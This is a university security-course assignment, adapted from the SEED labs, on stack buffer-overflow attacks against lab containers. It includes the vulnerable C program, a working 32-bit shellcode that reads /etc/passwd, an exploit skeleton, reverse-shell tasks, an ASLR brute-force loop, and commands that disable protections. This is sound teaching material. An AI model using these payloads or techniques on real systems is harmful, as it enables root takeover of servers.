COS430 – Project Deliverable 2 – Buffer Overflow Project – Due Date: March 12th, 2022

Note: The materials presented in this project are inspired by and partially taken from SEED labs, with permission from the author, Dr. Du.

Description:

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code.

The objective of this project is to gain practical insights into this type of vulnerability and learn how to exploit the vulnerability in attacks. You will be given four different servers, each running a program with a buffer-overflow vulnerability. You need to develop a scheme to exploit the vulnerability and finally gain the root privilege on these servers. You will also experiment with several countermeasures against buffer-overflow attacks. You need to evaluate whether the schemes work or not and explain why.
This project covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout in a function invocation
- Address randomization, non-executable stack, and StackGuard
- Shellcode

Lab Environment:

This project has been tested on the pre-built Ubuntu 20.04 VM, which can be downloaded from the SEED website.

Task 0 – Environment Setup:

Download the `Projectsetup.zip` file to your VM, unzip it, and you will get a folder called `Projectsetup`. All the files needed for this project are included in this folder.

1.1. Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. Before starting this project, we need to make sure the address randomization countermeasure is turned off; otherwise, the attack will be difficult.

You can do it using the following command:

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

1.2. The Vulnerable Program

The vulnerable program used in this project is called `stack.c`, which is in the `server-code` folder. This program has a buffer-overflow vulnerability, and your task is to exploit this vulnerability and gain the root

privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the file.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
       char buffer[BUF_SIZE];

       /* The following statement has a buffer overflow problem */

       strcpy(buffer, str);

       return 1;
}

int main(int argc, char **argv)
{
       char str[517];

       int length = fread(str, sizeof(char), 517, stdin);
       bof(str);
       fprintf(stdout, "==== Returned Properly ====\n");
       return 1;
}
```

The above program has a buffer overflow vulnerability. It reads data from the standard input, and then passes the data to another buffer in the function `bof()`. The original input can have a maximum length of `517` bytes, but the buffer in `bof()` is only `BUF SIZE` bytes long, which is less than `517`. Because `strcpy()` does not check boundaries, buffer overflow will occur.

The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program gets its data from a remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server.

Compilation. To compile the above vulnerable program, we need to turn off the StackGuard and the nonexecutable stack protections using the `-fno-stack-protector` and "`-z execstack`" options. The following is an example of the compilation command (the `L1` environment variable sets the value for the `BUF SIZE` constant inside `stack.c`).

```
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
```

We will compile the `stack` program into both 32-bit and 64-bit binaries. The pre-built Ubuntu 20.04 VM is a 64-bit VM, but it still supports 32-bit binaries. All we need to do is to use the `-m32` option in the `gcc` command. For 32-bit compilation, we also use `-static` to generate a statically-linked binary, which is self-contained and not depending on any dynamic library, because the 32-bit dynamic libraries are not installed in our containers.

The compilation commands are already provided in `Makefile`. To compile the code, you need to type make to execute those commands. The variables `L1, L2, L3`, and `L4` are set in `Makefile`; they will be used during the compilation. After the compilation, we need to copy the binary into the `bof-containers` folder, so they can be used by the containers. The following commands conduct compilation and installation.

```
$ make
$ make install
```

The Server Program. In the `server-code` folder, you can find a program called `server.c`. This is the main entry point of the server. It listens to port `9090`. When it receives a TCP connection, it invokes the `stack` program, and sets the TCP connection as the standard input of the `stack` program. This way, when `stack` reads data from `stdin`, it actually reads from the TCP connection, i.e. the data are provided by the user on the TCP client side.

1.3. Container Setup and Commands

You need to download the `Projectsetup.zip` file to your VM, unzip it, enter the `Projectsetup` folder, and use the `docker-compose.yml` file to set up the environment. For tutorial on docker, you can check the following link: https://github.com/seed-labs/seed-labs/blob/master/manuals/docker/SEEDManual-Container.md

In the following, we list some of the commonly used commands related to Docker and Compose.

```
$ docker-compose build     # Build the container image
$ docker-compose up        # Start the container
$ docker-compose down      # Shut down the container

// Aliases for the Compose commands above
$ dcbuild           # Alias for: docker-compose build
$ dcup              # Alias for: docker-compose up
$ dcdown            # Alias for: docker-compose down
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container.

We first need to use the "`docker ps`" command to find out the ID of the container, and then use "`docker exec`" to start a shell on that container. We have created aliases for them in the `.bashrc` file.

```
$ dockps      // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh      // Alias for: docker exec -it /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 hostA-10.9.0.5
0af4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// Note: If a docker command requires a container ID, you do not need to
//       type the entire ID string. Typing the first few characters will
//       be sufficient, as long as they are unique among all the containers.
```

Note. It should be noted that before running "`docker-compose build`" to build the docker images, we need to compile and copy the server code to the `bof-containers` folder.

Task 1 – Getting Familiar with Shellcode (10 Points):

Description: The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code injection attacks. Let us get familiar with it in this task.

Shellcode is typically used in code injection attacks. It is basically a piece of code that launches a shell and is usually written in assembly languages.

In this project, we only provide the binary version of a generic shellcode, without explaining how it works, because it is non-trivial. Our generic shellcode is listed in the following (we only list the 32-bit version):

```
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"                                                    ❶
   "-c*"                                                           ❷
   "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd        *"   ❸
   # The * in this line serves as the position marker         *
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

The shellcode runs the "`/bin/bash`" shell program (Line ❶), but it is given two arguments, "`-c`" (Line ❷) and a command string (Line ❸). This indicates that the shell program will run the commands in the second argument. The `*` at the end of these strings is only a placeholder, and it will be replaced by one byte of `0x00` during the execution of the shellcode.

Each string needs to have a zero at the end, but we cannot put zeros in the shellcode. Instead, we put a placeholder at the end of each string, and then dynamically put a zero in the placeholder during the execution. If we want the shellcode to run some other commands, we just need to modify the command string in Line ❸. However, when making changes, we need to make sure not to change the length of this string, because the starting position of the placeholder for the `argv[]` array, which is right after the command string, is hardcoded in the binary portion of the shellcode. If we change the length, we need to modify the binary part. To keep the star at the end of this string at the same position, you can add or delete spaces.

You can find the generic shellcode in the `shellcode` folder. Inside, you will see two Python programs, `shellcode_32.py` and `shellcode_64.py`. They are for 32-bit and 64-bit shellcode, respectively. These two Python programs will write the binary shellcode to `codefile_32` and `codefile_64`, respectively. You can then use call shellcode to execute the shellcode in them.

Task 1.1 – 10 Points: Modify the shellcode, so you can use it to delete a file.

Submission: In your report, you need to include the modified shellcode, provide screenshots and explain your observation in detail.

Task 2 – Level – 1 Attack (25 Points):

Description: When we start the containers using the included `docker-compose`.yml file, four containers will be running, representing four levels of difficulties. We will work on Level 1 in this task.

Server: Our first target runs on `10.9.0.5` (the port number is `9090`), and the vulnerable program `stack` is a 32-bit program. Let's first send a benign message to this server. We will see the following messages printed out by the target container (the actual messages you see may be different).

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():       0xffffdb88 ☆
server-1-10.9.0.5 | Buffer's address inside bof():          0xffffdb18 ☆
server-1-10.9.0.5 | ==== Returned Properly ====
```

The server will accept up to `517` bytes of the data from the user, and that will cause a buffer overflow.

Your task is to construct the payload to exploit this vulnerability. If you save the payload in a file, you can send the payload to the server using the following command.

```
$ cat | nc 10.9.0.5 9090
```

If the server program returns, it will print out "`Returned Properly`". If this message is not printed out, the `stack` program has probably crashed. The server will still keep running, taking new connections.

For this task, two pieces of information essential for buffer-overflow attacks are printed out as hints: the value of the frame pointer and the address of the buffer (lines marked by ☆). The frame point register called `ebp` for the x86 architecture and `rbp` for the x64 architecture. You can use these two pieces of information to construct your payload.

Note: We have added a little bit of randomness in the program so you might get different values for the buffer address and the frame pointer than others. The values only change when the container restarts, so as long as you keep the container running, you will see the same numbers.

Task 2.1 – 15 Points: Writing Exploit Code and Launching Attack
To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside a file (we will use `badfile` as the file name). We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the `projectsetup` file. In this task, you need to replace some of the essential values in the code.

```
#!/usr/bin/python3
import sys

# You can copy and paste the shellcode from Task 1
shellcode = (
   ""         # ☆ Need to change ☆
).encode('latin-1')
# Fill the content with NOP's
```

```
content = bytearray(0x90 for i in range(517))

################################################################
# Put the shellcode somewhere in the payload
start =   0               # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and save it somewhere in the payload
Ret    = 0xAABBCCDD       # ☆ Need to change ☆
offset = 0                # ☆ Need to change ☆

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset      +      4]      =      (ret).to_bytes(4,byteorder='little')
################################################################

# Write the content to a file
with open('badfile', 'wb') as
  f: f.write(content)
```

After you complete the above program, run it. This will generate the contents for `badfile`. Then feed it to the vulnerable server. If your exploit is implemented correctly, the command you put inside your shellcode will be executed. If your command generates some outputs, you should be able to see them from the container window.

Submission: You need to provide your code as well as proofs to show that you can successfully get the vulnerable server to run your commands. You need to add screenshots and descriptions in your report.

(5 Points) In addition, based on what you learned in this class, explain briefly that what kind of countermeasure we can use to prevent or mitigate this vulnerability.

```
$./exploit.py    // create the badfile
$ cat badfile |  nc 10.9.0.5 9090
```

Task 2.2 – 10 Points: Reverse shell
We are not interested in running some pre-determined commands. We want to get a root shell on the target server, so we can type any command we want.

Since we are on a remote machine, if we simply get the server to run `/bin/sh`, we will not be able to control the shell program. Reverse shell is a typical technique to solve this problem.

Guidelines on Reverse Shell document in the `Projectsetup` folder provides detailed instructions on how to run a reverse shell. Modify the command string in your shellcode, so you can get a reverse shell on the target server. Please include screenshots and explanation in your lab report.

Submission: In your report, you need to provide screenshots and relevant explanation in detail. You also need to submit your code.

Task 3 – Level – 2 Attack (10 Points):

In this task, we are going to increase the difficulty of the attack a little bit by not displaying an essential piece of the information.

Our target server is `10.9.0.6` (the port number is still `9090`, and the vulnerable program is still a 32-bit program). Let's first send a benign message to this server. We will see the following messages printed out by the target container.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.6 9090
Ctrl+C

// Messages printed out by the container
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():    0xffffda3c
server-2-10.9.0.6 | ==== Returned Properly ====
```

As you can see, the server only gives out one hint, the address of the buffer; it does not reveal the value of the frame pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability more difficult than the Level-1 attack.

Although the actual buffer size can be found in `Makefile`, you are not allowed to use that information in the attack, because in the real world, it is unlikely that you will have this file. To simplify the task, we do assume that the range of the buffer size is known. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs).

```
Range of the buffer size (in bytes): [100, 300]
```

Your job is to construct one payload to exploit the buffer overflow vulnerability on the server and get a root shell on the target server (using the reverse shell technique).

Note that, you are only allowed to construct one payload that works for any buffer size within this range. You will not receive all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That is why minimizing the number of trials is important for attacks. In your report, you need to describe your method, and provide evidence.

Submission: In your report, you need to describe your method, and provide evidence.

Task 4 – Level – 3 Attack (10 Points):

In the previous tasks, our target servers are 32-bit programs. In this task, we switch to a 64-bit server program. Our new target is `10.9.0.7`, which runs the 64-bit version of the stack program. Let's first send a hello message to this server. We will see the following messages printed out by the target container.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.7 9090
Ctrl+C


// Messages printed out by the container
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():       0x00007fffffffe1b0
server-3-10.9.0.7 | Buffer's address inside bof():    0x00007fffffffe070
server-3-10.9.0.7 | ==== Returned Properly ====
```

You can see the values of the frame pointer and buffer's address become 8 bytes long (instead of 4 bytes in 32-bit programs).

Your job is to construct your payload to exploit the buffer overflow vulnerability of the server. You ultimate goal is to get a root shell on the target server. You can use the shellcode from Task 1, but you need to use the 64-bit version of the shellcode.

Challenges. Compared to buffer-overflow attacks on 32-bit machines, attacks on 64-bit machines is more difficult. The most difficult part is the address. Although the x64 architecture supports 64-bit address space, only the address from `0x00` through `0x00007FFFFFFFFFFF` is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem.

In our buffer-overflow attacks, we need to store at least one address in the payload, and the payload will be copied into the stack via `strcpy()`. We know that the `strcpy()` function will stop copying when it sees a zero. Therefore, if a zero appears in the middle of the payload, the content after the zero cannot be copied into the stack. How to solve this problem is the most difficult challenge in this attack.

Submission: In your report, you need to describe how you solve this problem and provide screenshots and evidence of that.

Task 5 – Level – 4 Attack (10 Points):

The server in this task is similar to that in Level 3, except that the buffer size is much smaller. From the following printout, you can see the distance between the frame pointer and the buffer's address is only about 32 bytes. In Level 3, the distance is much larger.

Your goal is the same: Get the root shell on this server. The server still takes in 517 byte of input data from the user. Explain in detail what you do and provide evidence of your work.

```
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():       0x00007fffffffe1b0
server-4-10.9.0.8 | Buffer's address inside bof():   0x00007fffffffe190
server-4-10.9.0.8 | ==== Returned Properly ====
```

Task 6 – Experiment with the Address Randomization (15 Points):

At the beginning of this project, we turned off one of the countermeasures, the Address Space Layout Randomization (ASLR). In this task, we will turn it back on, and see how it affects the attack.

You can run the following command on your VM to enable ASLR. This change is global, and it will affect all the containers running inside the VM.

```
$ sudo /sbin/sysctl  -w kernel.randomize_va_space=2
```

Send a hello message to the Level 1 and Level 3 servers and do it multiple times.

Submission: In your report, describe your observation, and explain why ASLR makes the buffer-overflow attack more difficult.

Defeating the 32-bit randomization. It was reported that on 32-bit Linux machines, only 19 bites can be used for address randomization. That is not enough, and we can easily hit the target if we run the attack for sufficient number of times. For 64-bit machines, the number of bits used for randomization is significantly increased.

In this task, we will give it a try on the 32-bit Level 1 server. We use the brute-force approach to attack the server repeatedly, hoping that the address we put in our payload can eventually be correct. We will use the payload from the Level-1 attack. You can use the following shell script to run the vulnerable program in an infinite loop. If you get a reverse shell, the script will stop; otherwise, it will keep running. If you are not so unlucky, you should be able to get a reverse shell within 10 minutes.

```
#!/bin/bash

SECONDS=0
value=0
while true; do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  cat badfile | nc 10.9.0.5 9090
done
```

Task 7 – StackGuard Protection (20 Points):

Task 7.1 – 10 Points: Turn on the StackGuard Protection

Many compilers, such as `gcc`, implements a security mechanism called *StackGuard* to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable programs were compiled without enabling the *StackGuard* protection. In this task, we will turn it on and see what will happen.

Go to the `server-code` folder, remove the `-fno-stack-protector` flag from the `gcc` flag, and compile `stack.c`. We will only use `stack-L1`, but instead of running it in a container, we will directly run it from the command line. Let's create a file that can cause buffer overflow, and then feed the content of the file `stack-L1`.

```
$ ./stack-L1 < badfile
```

Submission: In your report, describe and explain your observations.

Task 7.2 – 10 Points: Turn on the Non-executable Stack Protection

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable.

This marking is done automatically by the `gcc`, which by default makes stack non-executable. We can specifically make it nonexecutable using the "`-z noexecstack`" flag in the compilation. In the previous tasks, we used "`-z execstack`" to make stacks executable.

In this task, we will make the stack non-executable. We will do this experiment in the `shellcode` folder. The `call_shellcode` program puts a copy of shellcode on the stack, and then executes the code from the stack.

Submission: Recompile `call_shellcode.c` into a32.out and a64.out, without the "`-z execstack`" option. Run them, describe and explain your observations.

Defeating the non-executable stack countermeasure. It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The *return-to-libc* attack is an example.

Submission for all Tasks: You need to submit a detailed project report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.